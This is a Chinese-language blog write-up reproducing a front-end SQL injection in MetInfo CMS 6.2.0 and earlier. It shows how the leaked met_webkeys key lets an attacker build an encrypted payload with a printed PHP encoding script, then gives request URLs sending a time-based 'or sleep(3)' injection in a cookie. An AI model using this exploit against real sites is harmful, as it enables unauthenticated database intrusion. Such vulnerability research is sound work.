一直在路上

metinfo <= 6.2.0版本前台注入

    漏洞复现

  1. 漏洞详情
  2. 漏洞复现
  3. 参考链接

漏洞详情

官网下载Metinfo最新版本6.2.0,
直接定位到/app/system/include/class/auth.class.php,
漏洞的关键点在auth类的encode()和decode()方法。
这里decode和encode算法可逆,但我们需要知道$key的值,查看构造函数:

1
2
3
4
5
6
7
8
class auth {

public $auth_key;

public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}

这里$key的值是来源于met_webkeys这个配置,查看met_webkeys来源发现在安装的时候把这个key写入到./config/config_safe.php文件中。
<?php/*EVNK2Crg6WxiGbb4R5ER30tIbf72fpbv*/?>
这种代码php是无法解析的,php后面必须要有一个空白字符,右键查看源代码即可得到met_webkeys。
根据漏洞作者所言与php线程安全有关,此漏洞不适用于php非线程安全版本。
/app/system/user/web/profile.class.php,在register类的doemailvild()方法中,这里把用户提交的p参数进行了解密,并且传入到了get_user_valid()方法中。
/app/system/include/class/user.class.php,查看get_user_valid()方法,这里又把解密后的值传入到了get_user_by_username()方法。
查看get_user_by_username()方法,又传入了get_user_by_nameid()方法。
查看get_user_by_nameid()方法,直接拼接sql语句。

1
2
3
4
5
6
7
public function get_user_by_nameid($username) 
{
global $_M;
$query = "SELECT * FROM {$_M['table']['user']} WHERE username='{$username}' AND lang='{$_M['lang']}'";
$user = DB::get_one($query);
return $user;
}

默认情况下met_user表是空的,所以在自己搭建的环境中需任意注册一个用户。

1
2
3
4
5
6
7
8
mysql> select * from met_user where username = '123' or sleep(3);
Empty set (3.00 sec)

mysql> delete from met_user;
Query OK, 1 row affected (0.00 sec)

mysql> select * from met_user where username = '123' or sleep(3);
Empty set (0.00 sec)

真实站点大多都是存在已注册用户的,因而可以在无需登陆的情况下完成SQL注入。

漏洞复现

将auth类的authcode()方法copy至本地,打印输出加密后的字符串。
Metinfo_key.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}

print_r(urlencode(authcode($_GET['str'],'ENCODE',$_GET['key'],0)));

?>

访问http://127.0.0.1/Metinfo_key.php?key=EVNK2Crg6WxiGbb4R5ER30tIbf72fpbv&str=123%27%20or%20sleep(3)%23获取payload。
访问http://127.0.0.1/metinfo6.2.0/admin/index.php?n=user&m=web&c=register&a=doemailvild并替换Cookie为”p=payload“,
若页面存在延时则说明漏洞存在。

参考链接

某info<=6.1.3前台SQL注入
【漏洞预警】metinfo 6.2.0最新版本前台注入分析

页阅读量:  ・  站访问量:  ・  站访客数: